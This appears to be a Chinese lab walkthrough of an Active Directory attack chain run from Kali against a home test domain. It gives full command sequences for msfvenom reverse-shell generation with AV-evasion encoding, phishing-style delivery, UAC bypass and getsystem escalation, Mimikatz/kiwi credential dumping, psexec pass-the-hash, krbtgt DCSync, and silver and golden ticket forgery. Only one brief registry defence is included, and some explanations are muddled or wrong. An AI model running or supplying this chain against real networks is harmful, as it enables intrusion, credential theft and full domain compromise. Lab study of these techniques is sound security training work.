搭建单域环境要点
环境准备win10
配置静态ip
首先网卡模式是nat
网段192.168.231.103
WindowsServer 2016
配置网卡模式为nat
查看一下ip
ipconfig
可以看是不是在一个网段里
设置一个ip地址,如果可以互通的话不用改
打开服务器的管理器
配置域服务
爱看这个页面就可以看到域服务器就已经加入域了
点开工具
点开ad用户和计算机
选择dc
这里有一个单域环境的GC
ipconfig /all
详细的网卡信息
admininistrator
账号
创建域控域服务
配置网关
dns服务器地址配成域服务器地址
kali
也需要在一个网段所以配置nat模式
拿下域成员机与getsystem提权
在网络安全领域,"拿下域成员机"通常指的是通过某种手段获取对域网络中一台或多台计算机的控制权。"getsystem提权"则是指在一台已经控制的计算机上提升权限,以获取更高级别的访问权限,比如从普通用户权限提升到系统管理员权限。这两个概念通常是渗投测试或红队演练中的关键步骤。
拿下域成员机
拿下域成员机的过程可能包括以下几个步骤:
- 侦察:收集目标网络的信息,包括域名、IP地址范围、开放的服务和端口等。
- 扫描和枚举:使用工具如Nmap进行端口扫描,识别运行的服务和潜在的漏动。
- 漏动利用:利用发现的漏动(如未打补丁的软件、弱密码、配置错误等)来获取对计算机的初始访问权限。
- 持久化:一旦进入系统,建立持久化的访问机制,以便即使在系统重启后也能保持控制。
getsystem提权
在已经控制了一台计算机后,下一步通常是提升权限:
- 本地权限提升:检查系统上的本地漏动,如不安全的文件权限、服务配置错误、未打补丁的软件等,利用这些漏动提升到本地管理员权限。
- 域权限提升:如果目标是域环境,提升到域管理员权限可能更为重要。这可能涉及到利用域内的信任关系、域控制器上的漏动、或者通过社会工程学手段获取域管理员的凭证。
- 使用提权工具:有许多工具可以帮助进行权限提升,如Metasploit框架中的提权模块、PowerShell Empire、Cobalt Strike等。
首先打开kali
ip a
查看一下网卡信息,看一下ip地址
然后打开msf
使用监听模块
use multi/handler
set payload windows/meterpreter/reverse_tcp
这条命令是在Metasploit框架中使用的,用于设置公鸡载荷(payload)。具体来说:
- set: 这是Metasploit中的命令,用于设置各种参数。
- payload: 这是你要设置的参数类型,指的是在成功利用漏动后要执行的代码。
- windows/meterpreter/reverse_tcp: 这是特定的payload类型。它表示一个针对Windows系统的Meterpreter shellcode,采用reverse TCP技术。这意味着一旦这个payload被执行,它会在目标系统上打开一个反向TCP连接到公鸡者的机器。这样公鸡者就可以通过这个连接来控制受害者的系统。
总的来说,这条命令是用来准备一个针对Windows系统的远程控制Payload,在渗投测试的场景中使用。
set Lhost 192.168.231.130
show options
在Metasploit(MSF)框架中,show options
命令用于显示当前选定的模块(如exploit或payload)的所有可配置选项及其当前设置。这包括各种参数,如目标地址、端口、payload类型等。这些选项可以帮助你定制和调整渗投测试或安全评估活动的具体细节。
可以看到所有设置已经完成
运行一下
run
这样这个程序就已经启动好了
打开一个新的标签页
cd Tmp
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.231.130 lport=4444 -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o shell.exe
这段代码使用了msfvenom
工具,它是Metasploit框架的一部分,用于生成恶意软件的payload。下面是对这段代码的详细解释:
msfvenom
: 这是Metasploit框架中的一个工具,用于生成各种格式的payload。-p windows/meterpreter/reverse_tcp
: 指定payload的类型。这里选择了针对Windows系统的Meterpreter reverse TCP payload。这意味着生成的payload将在目标系统上运行,并尝试建立一个反向TCP连接到指定的lhost
。lhost=192.168.231.130
: 指定公鸡者监听的IP地址,即payload将连接回的这个地址。lport=4444
: 指定公鸡者监听的端口号,即payload将连接回的这个端口。-e x86/shikata_ga_nai
: 指定编码器。shikata_ga_nai
是一种常用的多态编码器,用于混淆payload,使其更难以被杀毒软件检测。-i 3
: 指定编码迭代次数。这里设置为3次,意味着payload将被编码3次,增加其复杂性和逃避检测的能力。-b '\x00'
: 指定要避免的字符。\x00
是一个常见的截断字符,在这里被排除在payload之外,以防止在某些环境中导致payload提前终止。-f exe
: 指定输出格式为EXE,即生成一个Windows可执行文件。-o shell.exe
: 指定输出的文件名。这里生成的EXE文件将被保存为shell.exe
。
综上所述,这段代码的效果是生成一个针对Windows系统的恶意软件,该软件包含一个Meterpreter reverse TCP payload。当这个shell.exe
文件在目标Windows系统上运行时,它会尝试建立一个反向TCP连接到公鸡者的机器(IP地址为192.168.231.130
,端口为4444
),从而允许公鸡者远程控制目标系统。生成的payload经过了多次编码,以增加其逃避检测的能力。
运行它
下面就是shell的免杀和如何将这个exe投递到目标靶机上,比如钓鱼、水坑公鸡等
因为是练习所以直接开个http的服务,让靶机进行下载就可以了。
靶机访问水坑网站
双击下载到exe
回到kali中发现受害机器已上线
进入之前在meterpreter界面看一下当前所拥有的权限
通过getuid可以看到shell拿到的权限
发现是个人用户权限不是超管权限
运行getsystem进行自动提权
需要一些其他的操作
background #返回上一层
sessions -l #看拿下那些sessions
有个1和3,这里主要拿3,因为1的木马有一些问题,3是重新生成的
信息收集
seach bypassuac type:exploit
这里选择第12个
一种方式是输入use然后把要执行的需要复制下来
use exploit/windows/local/bypassuac_sluihijack
第二种方式是输入use然后输入序号
use 12
set session 3
在Metasploit框架中,set session 3
命令用于设置一个会话(session)的编号。会话是指你与目标系统之间的交互式连接,通常是在成功利用某个漏动之后建立的。
当你执行一个成功的公鸡,比如利用一个漏动并获得了shell访问权限,Metasploit会创建一个新的会话来管理这个连接。如果你有多个会话,你可以使用 sessions -l
或 jobs -l
命令来列出所有当前活跃的会话,并查看它们的编号。
set session 3
这条命令就是将当前会话设置为编号为3的会话。这样你就可以通过这个编号来引用和管理这个特定的会话,比如发送命令、上传文件等。
这里是一个简单的例子:
在这个例子中,我们利用了一个EternalBlue漏动(MS17-010),并在成功利用后创建了一个编号为3的Meterpreter会话。然后我们使用 set session 3
来设置当前会话为这个编号为3的会话。
请注意,会话编号是动态的,每次你建立一个新的会话时,编号都会增加。如果你关闭了一个会话,它的编号不会被重用。
然后运行一下exp
run
稍等片刻后会弹出一个全新的met窗口
getuid
发现是普通用户权限
getsystem
在输入getuid查看一下权限
getuid
就发现已经提权成功了,拿到了超管权限
需要有一步手工选择公鸡载荷的操作
Kiwi(Mimikatz升级版)获取域内机器密码
Kiwi是一个由法国安全研究员Gentil Kiwi开发的工具,它是Mimikatz的一个升级版,主要用于在Windows系统中提取和解密存储的密码。Kiwi可以提取NTLM哈希、明文密码、Kerberos票据等各种形式的凭证。
要使用Kiwi获取域内机器的密码,你需要先获取对该机器的访问权限。然后,你可以通过以下步骤来使用Kiwi:
- 下载和编译Kiwi: 你可以从GitHub上下载Kiwi的源代码,并使用Visual Studio进行编译。
- 运行Kiwi: 编译完成后,你可以在目标机器上运行Kiwi。以下是使用Kiwi提取密码的基本步骤:
- 提取密码: Kiwi会显示当前登录用户的凭证信息,包括用户名、NTLM哈希、明文密码等。
- 保存密码: 如果你需要保存提取的密码,可以使用以下命令:
输入
sysinfo
kiwi模块同时支持32位和64位的系统
默认是32位
Kiwi模块同时支持32位和64位的Windows系统。不过,Kiwi模块默认是为32位系统设计的。如果你的目标系统是64位的,你可能需要进行一些额外的步骤来确保Kiwi模块能够正确运行。
具体来说,如果你的目标系统是64位的,你可能需要先查看系统进程列表,然后将Meterpreter进程迁移到一个64位程序的进程中,这样才能加载Kiwi模块并查看系统明文。以下是一个基本的步骤:
- 检查系统位数: 首先,你需要确定目标系统是32位还是64位。你可以使用以下命令来查看系统位数:
- 迁移Meterpreter进程: 如果目标系统是64位的,你需要将Meterpreter进程迁移到一个64位程序的进程中。你可以使用以下命令来迁移进程:
其中,<pid>
是你要迁移的目标进程的PID。
- 加载Kiwi模块: 迁移完成后,你可以加载Kiwi模块并使用它来提取密码:
输入ps查看目标进程
这里有一个lsass.exe
然后输入644进入指令迁移
migrate 644
然后输入SysInfo来查看
这时候Meterpreter就变成了64位了
这就表示我们进程迁移成功了,这时候就可以使用kiwi了
输入
load kiwi
就成功进入了kiwi了
输入命令
help kiwi
输入creds_all
输入这个命令就会列出所有用户的凭证
这里有两个用户名和两个凭证
第二个是win10,所以是我们利用的核心
除了这个方式还有一个方式
输入hashdump
这样也可以列出用户相关的凭证
打开浏览器,任意选一个破接md5的网站
提交密码点击查询
也可以用反推方式,进行逆向
ntlm加密方法
Kiwi模块使用
Kiwi模块通常是通过Metasploit框架中的Meterpreter会话来使用的。以下是使用Kiwi模块的一些基本步骤和一个示例:
步骤 1: 启动Metasploit
首先,你需要在你的公鸡机上启动Metasploit。这可以通过终端或命令行界面完成:
步骤 2: 选择并配置一个漏动利用模块
接下来,选择一个合适的漏动利用模块,并对其进行配置以针对目标系统。例如,如果你正在使用SMB漏动,你可以选择相应的模块:
步骤 3: 执行漏动利用
执行漏动利用以获取Meterpreter会话:
步骤 4: 加载Kiwi模块
一旦你有了Meterpreter会话,你可以加载Kiwi模块:
步骤 5: 使用Kiwi模块的功能
现在你可以使用Kiwi模块的各种命令来提取密码和其他凭证信息。例如,要提取当前登录用户的密码,你可以使用creds_all
命令:
或者,要提取明文密码,你可以使用logonpasswords
命令:
完整示例
以下是一个完整的示例,展示了如何使用Metasploit和Kiwi模块来提取密码:
PTH哈希传递公鸡
Pass-the-Hash(PTH)公鸡原理
- 获取哈希值: 公鸡者首先需要获取目标系统上的用户账户的NTLM哈希值。这通常通过入侵一台已经存在于目标网络中的计算机来实现,然后在这台计算机上读取内存中的哈希值。
- 利用哈希值进行认证: 一旦公鸡者获得了用户的NTLM哈希值,他们就可以使用这些哈希值来认证到其他系统和服务,而无需知道原始密码。这是因为Windows系统在进行身份验证时,会将提供的哈希值与存储在目标系统上的哈希值进行比较,而不是直接比较密码。
- SMB协议利用: PTH公鸡通常利用SMB协议(默认使用445端口)。公鸡者可以通过发送精心构造的SMB包,包含用户的NTLM哈希值,来认证到远程系统。如果哈希值匹配,公鸡者就可以获得对远程系统的访问权限。
工具和技术
- Mimikatz:这是一个常用的渗投测试工具,可以用来提取和利用NTLM哈希值进行PTH公鸡。
- PsExec:这是一个Sysinternals工具,也可以用来进行PTH公鸡。
- Impacket:这是一个Python库,用于进行各种网络公鸡,包括PTH公鸡。
哈希传递公鸡(Pass-the-Hash, PTH)并不一定要求域内所有主机的管理员密码都相同。实际上,即使每个主机的管理员密码都不相同,PTH公鸡仍然可以成功。
哈希传递公鸡的核心在于利用已知的NTLM哈希值来认证到其他系统和服务,而不需要知道原始密码。以下是PTH公鸡的一般步骤:
- 获取哈希值:公鸡者首先需要获取目标系统上的用户账户的NTLM哈希值。这通常通过入侵一台已经存在于目标网络中的计算机来实现,然后在这台计算机上读取内存中的哈希值。
- 利用哈希值进行认证:公鸡者使用这些哈希值来认证到其他系统和服务。Windows系统在进行身份验证时,会将提供的哈希值与存储在目标系统上的哈希值进行比较,而不是直接比较密码。
因此,只要公鸡者能够获取某个用户的NTLM哈希值,他们就可以使用这个哈希值来尝试认证到其他系统,无论这些系统的管理员密码是否相同。
当然,在实际的网络环境中,如果多个系统使用相同的管理员密码,那么公鸡者的成功率可能会更高,因为他们只需要获取一个系统的哈希值,就可以尝试认证到多个系统。但这并不是PTH公鸡的前提条件,而是增加了公鸡的成功率。
总结来说,哈希传递公鸡的关键在于利用NTLM哈希值进行身份验证,而不是依赖于密码的相似性。
获取哈希值
以下是一些常见的方法:
- 内存提取: 使用工具如Mimikatz,可以从被入侵的Windows系统的内存中提取出用户的NTLM哈希值。Mimikatz是一个强大的渗投测试工具,它可以读取和解密Windows操作系统中的各种安全信息。
- 密码喷洒: 这是一种暴力破接技术,通过尝试大量的用户名和密码组合来获取哈希值。这种方法通常用于对付弱密码策略。
- 网络嗅探: 通过在网络中嗅探流量,公鸡者可能会捕获到NTLM哈希值。这种方法通常需要公鸡者处于可以监听网络流量的位置。
- 利用已有的系统访问权限: 如果公鸡者已经获得了系统的一部分访问权限,他们可能能够直接读取存储在系统上的NTLM哈希值。
利用哈希公鸡
哈希传递公鸡(Pass-the-Hash, PTH)是一种网络公鸡技术,公鸡者通过获取目标系统的用户账户的NTLM哈希值,然后利用这些哈希值来认证到其他系统和服务,而不需要知道原始密码。
以下是一个简单的哈希传递公鸡的示例:
示例场景
假设有一个企业网络,其中包含两台Windows服务器:ServerA和ServerB。公鸡者已经通过某种方式(例如,社会工程学、钓鱼公鸡等)获得了ServerA的管理员账户的NTLM哈希值。
公鸡步骤
获取NTLM哈希值: 公鸡者使用工具如Mimikatz从ServerA的内存中提取出管理员账户的NTLM哈希值。
输出结果可能类似于:
利用哈希值进行认证: 公鸡者使用提取到的NTLM哈希值来尝试认证到ServerB。这通常通过在网络中发送精心构造的SMB包来实现,这些包包含用户的NTLM哈希值。
获得访问权限: 如果ServerB接受这个NTLM哈希值作为有效的身份验证凭证,公鸡者就可以获得对ServerB的访问权限,而不需要知道管理员账户的原始密码。
实验
接着前面的kiwi
直接输入shell,进入到远程命令终端
输入ipconfig /all # 查看网卡的ip信息
看到DNS服务器的地址是192.168.231.102,这个就是域控服务器的ip
这样就知道了本机的ip地址和域环境
exit
kiwi cmd sekurlsa::logonpasswords
kiwi_cmd sekurlsa::logonpasswords
是一条在Metasploit框架的Meterpreter会话中使用的命令,它用于执行Mimikatz工具的一个特定功能。这条命令的具体含义如下:
kiwi_cmd
:这是Metasploit中Kiwi扩展模块的一个命令,它允许你在Meterpreter会话中执行Mimikatz工具的命令。Kiwi模块是Mimikatz的一个集成版本,专门为Metasploit设计。sekurlsa::logonpasswords
:这是Mimikatz工具中的一个命令,它的作用是从系统的安全事件日志中提取最近登录用户的明文密码、NTLM哈希值以及其他凭据信息。sekurlsa
是Mimikatz中的一个模块,专门用于处理安全密钥日志记录和认证信息。
当你在Meterpreter会话中输入 kiwi_cmd sekurlsa::logonpasswords
时,Metasploit会调用Kiwi模块来执行这个Mimikatz命令,从而尝试从目标系统中提取用户的登录凭据。
请注意,执行这个命令通常需要管理员权限,因为普通用户没有足够的权限来访问系统的安全日志和敏感信息。
可以看到这里就拿到了3b4f的ntlm和sha1
返回上一层
background
可以看到和session有关的是session 4
输入
session 4
这里有很多shell,别搞错了
use exploit/windows/smb/psexec
我们已经知道对方靶机的45是开着的
show options
这里本地都有了
下面设置远程目标的地址
设置目标域控服务器的ip地址
set RHOSTS 192.168.231.102
设置smb的域名为 loneyor.org
接着设置用户
set smbuser administrator
通过前面的信息收集知道用户是administrator
下面要输入密码,输入全0,前面知道是32位
set smbpass 00000000000000000000000:3b972cab044c498843e8438b1f854f4f
设置完成后要设置要执行的命令
set command ipconfig
公鸡成功后会自动在目标机器上执行ipconfig命令
show options
检查一下目标地址有没有输错
然后检查域名,密码和账户名
检查过后都没有问题,然后启动一下
run
稍等片刻后就可以成功获取Windowsserve2016的meterpreter
getuid
看一下权限,发现已经拿到了超管的权限
sysinfo
是64位的win10,以上就是哈希公鸡的步骤
这个公鸡能不能成功最主要的就是域成员机和域控机器的密码是不是一样的
不一样也有一定概率会成功
pth暴力破接公鸡结合哈希传递公鸡组合公鸡,只要这个表做的足够精准或者足够大就可以拿到域控。
票据传递公鸡的原理和涉及的基础知识
PTT票据传递公鸡
以下是关于PTT公鸡的一些基本信息:
Pass-the-Ticket(PTT)公鸡
Pass-the-Ticket(PTT)公鸡是一种利用Kerberos协议中的票据(Ticket)进行身份验证的公鸡方式。在这种公鸡中,公鸡者获取到用户的Kerberos票据,并使用这些票据来认证到其他系统和服务,而不需要知道原始密码。
公鸡步骤
- 获取Kerberos票据: 公鸡者通过某种方式(例如,网络嗅探、内存提取等)获取到用户的Kerberos票据。
- 利用票据进行认证: 公鸡者使用获取到的Kerberos票据来尝试认证到其他系统和服务。这通常通过在网络中发送精心构造的Kerberos包来实现,这些包包含用户的Kerberos票据。
白银票据伪造公鸡与防御实战
白银票据伪造公鸡(Silver Ticket Attack)是一种针对Kerberos认证系统的公鸡 手段,它利用了Kerberos协议中的弱点来伪造服务票据(Service Ticket),从而非法访问特定服务。这种公鸡通常发生在公鸡者已经获取了目标服务账户的密钥(即服务主体的NTLM哈希)的情况下。
原理
白银票据伪造公鸡的原理如下:
- 获取服务账户密钥:公鸡者首先需要获取目标服务的密钥,这通常是服务账户的NTLM哈希值。
- 伪造服务票据:公鸡者使用获取到的密钥来伪造一张服务票据,这张票据将允许公鸡者以服务账户的身份访问目标服务。
- 使用伪造票据:公鸡者将伪造的票据发送给目标服务,服务验证票据的有效性后,公鸡者便可以访问服务。
防御
防御白银票据伪造公鸡的方法包括:
- 保护服务账户密钥:确保服务账户的密钥不被泄露,限制对这些密钥的访问权限。
- 定期更换密钥:定期更换服务账户的密钥,减少密钥被长期滥用的风险。
- 启用PAC(Privilege Attribute Certificate)验证:启用PAC验证可以增加公鸡者伪造票据的难度。
应用步骤及代码示例
以下是一个简化的示例,展示了如何使用Mimikatz工具来执行白银票据伪造公鸡:
- 获取服务账户密钥: 假设公鸡者已经通过某种手段获取了服务账户的NTLM哈希值。
- 伪造服务票据: 使用Mimikatz工具来伪造一张服务票据。以下是一个命令行示例:
这里的参数解释如下:
/user
: 公鸡者想要冒充的用户名。/domain
: 目标域的名称。/sid
: 目标域的安全标识符(SID)。/krbtgt
: KRBTGT账户的NTLM哈希值(实际上应该是服务账户的哈希值)。/target
: 目标服务的FQDN(完全限定域名)。/service
: 目标服务的类型,例如cifs(通用互联网文件系统)。/ptt
: Pass the Ticket,将票据注入当前会话。
- 使用伪造票据: 一旦票据被注入,公鸡者就可以使用该票据来访问目标服务。
请注意,上述操作仅作为理论演示,实际操作可能涉及违法行为,且违反了道德和法律标准
伪造st来伪造权限,不经过域控,只能访问pac
pac只能由kdc制作和查看,我们无法伪造pac,所有我们只能访问不验证pac的服务
来到kali输入
sysinfo
查看一下当前处于winserve2016
然后我们需要做一下进程的迁移否则无法使用
ps查看一下进程
找到它的id是628
接下来迁移
migrate 628
sysinfo
在查看一下,发现都是64的时候就说明已经迁移成功了
伪造票据需要目标的主机名,主机名对应的用户的NTLM哈希和域的sid,因此我们用到kiwi来去获取相应信息
load kiwi
梳理前面内容
根据前面实验我们已经拿到了2016的shell
拿到以后需要做进程的迁移
这样才能加载kiwi
保证这里都是x64
白银票据伪造公鸡是一种网络安全公鸡手段,公鸡者通过获取服务账户的密钥(如NTLM哈希),然后使用这个密钥伪造一个有效的服务票据(Silver Ticket),从而能够以服务账户的身份访问目标服务。这种公鸡方法主要利用了Kerberos协议中的弱点。
要执行这种公鸡,公鸡者首先需要获取服务账户的密钥,然后使用这个密钥伪造一个服务票据,并将这个票据注入到Kerberos系统中,从而获得对目标服务的访问权限。这种公鸡通常需要使用专门的工具,如Mimikatz。
接下来获取相关信息
creds_all
输入完命令可以看到我们拿到的是2016的shell,用户领域属于LONELYOR
NTLM是c5ecdf7bac4662b2e9e7415a7270bc69
这里新开一个命令行界面,需要记录NTLM,这个信息非常的关键,不要搞错了
这里的用户是Windowsserve2016,Administrator
还有一种方式可以使用
hashdump
也可以看到用户名和NTLM哈希
在Meterpreter中,hashdump
命令用于从受感染的Windows系统中提取用户账户的NTLM哈希值。Meterpreter是一个高级的、多功能的渗投测试工具,它是Metasploit框架的一部分。
当你在Meterpreter中运行hashdump
命令时,它会尝试从系统的内存中读取SAM(Security Accounts Manager)数据库,然后提取所有的用户账户及其对应的NTLM哈希值。这些哈希值可以用于进一步的安全审计或公鸡,例如离线破接密码。
hashdump使用示例
在Meterpreter控制台中,你可以通过以下方式使用hashdump
命令:
- 首先,确保你已经获得了对目标系统的Meterpreter会话。
- 输入
hashdump
命令并按回车键。
- 如果操作成功,Meterpreter将显示系统中所有用户账户的NTLM哈希值。
还有一种是kiwi命令
kiwi cmd sekurlsa::logonpasswords
kiwi_cmd sekurlsa::logonpasswords
是在Metasploit框架的Meterpreter会话中使用的一个命令,它调用了Mimikatz工具的sekurlsa::logonpasswords
模块。Mimikatz是一个流行的Windows取证工具,用于提取系统中的凭证信息,包括明文密码、哈希值、Kerberos票据等。
当你在Meterpreter会话中运行kiwi_cmd sekurlsa::logonpasswords
时,它会尝试从当前系统的内存中提取用户的登录凭证,特别是那些最近登录过的用户的明文密码和NTLM哈希值。这个命令非常有用,尤其是在渗投测试中,因为它可以帮助渗投测试人员获取目标系统上的敏感信息。
kiwi使用示例
在Meterpreter控制台中,你可以通过以下方式使用kiwi_cmd sekurlsa::logonpasswords
命令:
- 首先,确保你已经获得了对目标系统的Meterpreter会话。
- 输入以下命令并按回车键:
- 如果操作成功,Meterpreter将显示系统中用户的登录凭证信息,包括用户名、域名、会话类型、NTLM哈希值和明文密码(如果存在)。
注意事项
kiwi_cmd sekurlsa::logonpasswords
命令通常需要管理员权限才能运行,因为它需要访问系统的内存和敏感信息。
这里是winsrv-2016
在域控制器中低权限用户获取域的sid
在域控制器中,即使是低权限用户,也有可能通过一些公开的工具或脚本来获取域的安全标识符(SID)。域的SID是一个唯一标识域内所有安全主体(包括用户、组和服务)的字符串,它在整个域中是唯一的。
获取域SID的方法
以下是一些可能的方法来获取域的SID,但请注意,这些方法可能需要在特定的环境下才能成功,并且可能涉及到违反安全策略的行为:
- 使用PowerShell脚本: 可以使用简单的PowerShell脚本来获取域的SID。例如:
这段脚本会返回当前域的SID。
- 使用命令行工具: 在Windows命令提示符下,可以使用
whoami
命令来获取当前用户的SID,然后从中推断出域的SID。例如:
输出结果中的域SID部分就是域的SID。
- 查看注册表: 在域控制器的注册表中,域的SID可以在以下位置找到:
在这个位置,可以看到多个以SID命名的子项,其中一个可能是域的SID。
输入shell
输入
chcp 65001
回显
chcp code page: 65001
wmic useraccount where name="krbtgt" get sid
就获取了sid
-502不需要,只需要到前面这一段
S-1-5-21-3199196146-2196162486-1764246383 #必须要记住这个值,后面会用到
代码解释:
在Windows系统中,wmic
(Windows Management Instrumentation Command-line)是一个强大的命令行工具,用于查询和设置WMI(Windows Management Instrumentation)信息。使用wmic
查询用户帐户的SID(Security Identifier)可以通过以下命令实现:
但是,需要注意的是,在某些版本的Windows Server或工作站中,出于安全原因,默认情况下可能不允许非管理员用户或脚本通过wmic
查询用户SID。因此,你可能需要以管理员权限运行命令提示符或PowerShell。
如何以管理员身份运行命令提示符:
- 点击“开始”菜单。
- 在搜索框中输入“cmd”或“命令提示符”。
- 在搜索结果中找到“命令提示符”或“Command Prompt”,然后右键单击它,选择“以管理员身份运行”。
执行命令:
一旦你以管理员权限打开了命令提示符,就可以输入上面的wmic
命令并按回车键执行。
输出解释:
如果命令成功执行,你将看到类似以下的输出:
这里的S-1-5-21-1234567890-1234567890-1234567890-516
就是krbtgt
用户的SID。每一串数字代表了不同的安全标识符组件,其中最后一个数字通常表示域内的用户或组的唯一ID。
如果命令执行后没有返回任何结果,可能是因为没有找到名为krbtgt
的用户账户,或者你没有足够的权限执行该命令。在这种情况下,你应该检查你的权限设置,或者确保krbtgt
账户确实存在。krbtgt
账户是Kerberos服务账户,在Active Directory环境中是必需的。如果你在非域控制器的Windows系统上运行此命令,你可能不会找到krbtgt
账户。
exit #退出
kiwi_cmd lsadump::dcsync user:krbtgt
这里就能看到很多的信息,比如NTLM、sid
kiwi
是一个渗投测试工具,常用于 Windows 系统的安全审计和密码转储。lsadump::dcsync
是 kiwi
中的一个功能,用于从域控制器中转储 krbtgt
用户的哈希值,这是 Kerberos 票据授予票据(TGT)过程的关键部分。
然而,使用 kiwi
或其任何功能(如 lsadump::dcsync
)要求你具有域管理员权限,因为你需要能够与域控制器通信并请求敏感信息。
如何使用 kiwi 的 lsadump::dcsync
功能:
- 获取工具: 首先,你需要在你的渗投测试机器上安装
kiwi
。kiwi
是 Metasploit 框架的一部分,所以如果你已经有了 Metasploit,你可能已经有kiwi
了。 - 启动 Meterpreter: 你必须在域控制器上获得一个 Meterpreter 会话。如果你已经拥有了一个 Meterpreter 会话,你可以跳过这一步。
- 运行 lsadump::dcsync: 在 Meterpreter 会话中,你可以使用以下命令来转储
krbtgt
用户的哈希值:
这将显示 krbtgt
用户的 NTLM 哈希。
要更精准的查询相关信息
也可以用
kiwi_cmd lsadump::dcsync /domain:lonelyor.org /user:krbtgt
吧sid放到刚刚写的文档里,记录下来
下面要回到win10的shell
输入
background
sessions -l
看到win10超管shell的id编号为4
这样就是已经做了load
如果没做的话输入
load kiwi
如果报错信息为这个
重启win10,重新拿win的shell
接着呢再拿管理员shell
sessions -l
sessions -i -11
chcp 65001
dir WINSRV-2016.lonelyor.org\Downloads
发现是不能访问的
进程迁移
load kiwi
sysinfo
发现没有迁移,现在迁移
序号为636
migrate 636
将之前的票据复制粘贴进去
exit
kiwi_cmd kerberos ::golden /domain:lonelyor.org /sid:s-1-5-21-3199196146-2196162486-1764246383 /target:WINSRV-2016.lonelyor.org /service:CIFS /rc4:c5ecdf7bac4662b2e9e7415a7270bc69 /user:Administrator /ptt
然后把实验再来一遍
chcp 65001
接下来访问
dir \\ WINSRV-2016.lonelyor.org\Downloads
可以看到我们此时就能够访问共享文件了,就表示公鸡成功了。因为这里本来就有一个flag.txt
来到注册表编辑器
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControLsa\Kerberos\Parameters
在左边目录拦里找到parameters,然后右键
选择dword32位
新建以后会弹出一个这个
将这个文件名修改成ValidateKdcPacSignature
然后将0改成1
黄金票据伪造公鸡与防御实战
域中有一个特殊用户krbtgt
黄金票据(Golden Ticket)公鸡是一种针对Kerberos认证协议的高级公鸡技术,它允许公鸡者在未授权的情况下生成有效的票据授予票据(Ticket Granting Ticket, TGT),从而冒充域内的任意用户。这种公鸡主要发生在Active Directory环境中,并且依赖于公鸡者已经获得了域控制器的访问权限。
黄金票据公鸡的原理:
- 获取krbtgt哈希: 公鸡者首先需要获取域内的
krbtgt
账户的NTLM哈希值。这通常通过在域控制器上使用工具如Mimikatz
来实现。 - 伪造TGT: 公鸡者使用获得的
krbtgt
哈希值来伪造任意用户的TGT。这个伪造的TGT可以用来冒充域内的任何用户,甚至管理员用户。 - 使用伪造的TGT: 公鸡者使用伪造的TGT来请求服务票据(Service Ticket),进而访问网络资源和服务。
黄金票据公鸡的步骤:
- 获取域控制器访问权限: 公鸡者需要获得域控制器上的管理员权限。这可以通过多种手段实现,例如利用漏动、弱密码或社会工程学。
- 提取krbtgt哈希: 使用工具如
Mimikatz
提取krbtgt
账户的NTLM哈希值。这可以通过以下命令实现:
- 生成伪造的TGT: 使用工具如
ticketer
或Mimikatz
的kerberos::golden
功能来生成伪造的TGT。
- 使用伪造的TGT: 将伪造的TGT放入内存,然后使用它来请求服务票据(Service Ticket)并访问资源。
黄金票据公鸡的限制:
- 域控制器访问权限:公鸡者必须首先获得域控制器的访问权限,这通常是通过获得域管理员权限来实现的。
- 持续的有效性:即使域管理员更改了
krbtgt
的密码,伪造的TGT仍然有效,因为它是基于krbtgt
的NTLM哈希值生成的。 - 防御机制:现代的Active Directory环境通常会有多种防御措施,包括账户锁定策略、事件日志监控、入侵检测系统等。
练习
接上个实验
exit
返回
sysinfo
sessions -l
在Metasploit框架中,sessions -l
命令用于列出当前活跃的会话(sessions)。当你成功利用了一个目标系统并建立了Meterpreter会话或者其他类型的会话时,你可以使用这个命令来查看这些会话的详细信息。
命令格式:
输出示例:
当你运行 sessions -l
命令时,你可能会看到类似于以下的输出:
输出解释:
- Id:会话的唯一标识符。
- Name:会话的名称。
- Type:会话的类型,例如
meterpreter
或shell
。 - Information:有关会话的详细信息,例如使用的payload类型。
- Connection:显示了建立会话的客户端和服务器之间的连接信息,包括客户端IP地址、客户端端口、服务器端口以及服务器IP地址。
如何使用输出:
- 管理会话:你可以使用会话的ID来切换到特定的会话。例如,
sessions -i 1
将让你与ID为1的会话交互。 - 结束会话:你可以使用
sessions -k [ID]
命令来终止特定的会话。例如,sessions -k 1
将终止ID为1的会话。 - 查看会话详情:你可以使用
sessions -i [ID]
或sessions -i [ID] -d
来查看会话的详细信息或与会话交互。
background#将当前活跃的Meterpreter会话放到后台运行
sessions -l
在Metasploit框架中,background
命令用于将当前活跃的Meterpreter会话放到后台运行。当你在一个Meterpreter会话中工作时,你可能会发现需要同时执行多个任务或者切换到其他会话。使用 background
命令可以帮助你实现这一点。
命令格式:
使用示例:
假设你已经在Meterpreter会话中,并且想要将其放到后台,以便继续使用Metasploit控制台执行其他命令或管理其他会话,你可以简单地输入 background
。
效果:
执行 background
命令后,你将返回到Metasploit的主控制台。此时,你可以执行其他命令,如启动新的exploit,管理其他会话等。
返回到会话:
如果你想要回到之前的Meterpreter会话,可以使用 sessions -i [ID]
命令,其中 [ID]
是你之前记下的会话ID。
示例输出:
假设你已经有一个Meterpreter会话,并且它的ID是1。你想要将它放到后台,然后继续使用Metasploit控制台执行其他命令。
发现id是8,然后我们进入8
sessions -i 8
sysinfo#这样我们就进入winserve2016的meterpreter
启动kiwi
load kiwi
然后再输入这条指令
dcsync_ntlm krbtgt#这条指令是获取sid以及hash值
或者使用这条命令获取相同的数据
meterpreter>kiwi cmd lsadump::lsa /patch
background#将会话方法哦后台执行
sessions -l#查看会话
sessions -i 11 #回到超管
sysinfo
确认一下是不是回到了
kerberos_ticket_purge#清除Meterpreter会话中的Kerberos票据(tickets)
在Metasploit框架中,kerberos_ticket_purge
命令用于清除Meterpreter会话中的Kerberos票据(tickets)。当Meterpreter会话成功获取了目标系统的Kerberos票据时,这些票据会被存储在会话中,以便后续使用。kerberos_ticket_purge
命令可以用来清除这些票据,这对于清理痕迹或释放资源是有用的。
命令格式:
使用示例:
当你在一个Meterpreter会话中,并且想要清除所有已获取的Kerberos票据时,可以使用 kerberos_ticket_purge
命令。
效果:
执行 kerberos_ticket_purge
命令后,Meterpreter会话中的所有Kerberos票据将被清除。这意味着任何之前获取的票据都将不再可用于后续操作。
示例输出:
假设你已经在Meterpreter会话中,并且想要清除所有Kerberos票据,你可以使用以下命令:
